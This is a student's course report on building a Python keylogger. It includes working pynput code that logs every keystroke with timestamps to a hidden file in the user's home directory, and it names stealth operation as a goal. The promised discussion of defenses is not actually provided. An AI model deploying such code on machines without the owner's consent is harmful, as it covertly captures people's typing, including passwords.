NAME : Shrishti Vishwakarma

CLASS : BVOC (First year) Sem 2

TITLE : Building a python based keylogger

INSTRUCTOR : Shubham sir

TABLE OF CONTENTS

Introduction

A keylogger is a program that captures and records every keystroke made on a target machine's keyboard. While often associated with malicious activity, understanding how keyloggers work is essential for defensive cybersecurity research, penetration testing, and raising awareness about user privacy. In this educational project, we will build a simple keylogger in Python to demonstrate the principles of keystroke capture, logging, and stealth operation.

Objective

1. Learn keystroke capture techniques in Python.
2. Implement persistent logging of captured keys to a file.
3. Understand stealth deployment considerations on the host system.
4. Reinforce ethical guidelines and highlight defenses against keyloggers.

Tools Used

- Python– programming language
- pynput

Methodology

1. Install Python 3.8 or later.
2. Create a virtual environment:
   python -m venv keylogger_env
   source keylogger_env/bin/activate
Linux/Mac
3. Install required library:
   pip install pynput

Code Implementation

keylogger.py

```
import os
import time
from datetime import datetime
from pynput import keyboard

LOG_FILE = os.path.expanduser("~/.keylog.txt")
BUFFER = []
FLUSH_INTERVAL = 10  # seconds
```

```
def flush_buffer():
    with open(LOG_FILE, "a") as f:
        for entry in BUFFER:
            f.write(entry + "\n")
    BUFFER.clear()

def on_press(key):
    try:
        k = key.char
    except AttributeError:
        k = f"<{key.name}>"
    timestamp = datetime.now().strftime("%Y-%m-
%d %H:%M:%S")
    BUFFER.append(f"{timestamp} - {k}")
    if len(BUFFER) >= 20:
        flush_buffer()

def periodic_flush():
    while True:
        time.sleep(FLUSH_INTERVAL)
        if BUFFER:
            flush_buffer()
```

```
if __name__ == "__main__":
    from threading import Thread
    t = Thread(target=periodic_flush,
daemon=True)
    t.start()
    with keyboard.Listener(on_press=on_press) as
listener:
        listener.join()
```

Configuration File

If you wish to adjust parameters without editing code, you can load settings from a JSON file:

```
{
  "log_file": "~/.keylog.txt",
  "buffer_size": 20,
  "flush_interval": 10
}
```

Conclusion

This project demonstrates the basic mechanics of a Python-based keylogger: capturing keystrokes, buffering/logging data, and running stealthily. While informative for learning, it underscores the importance of strong endpoint defenses and ethical responsibility.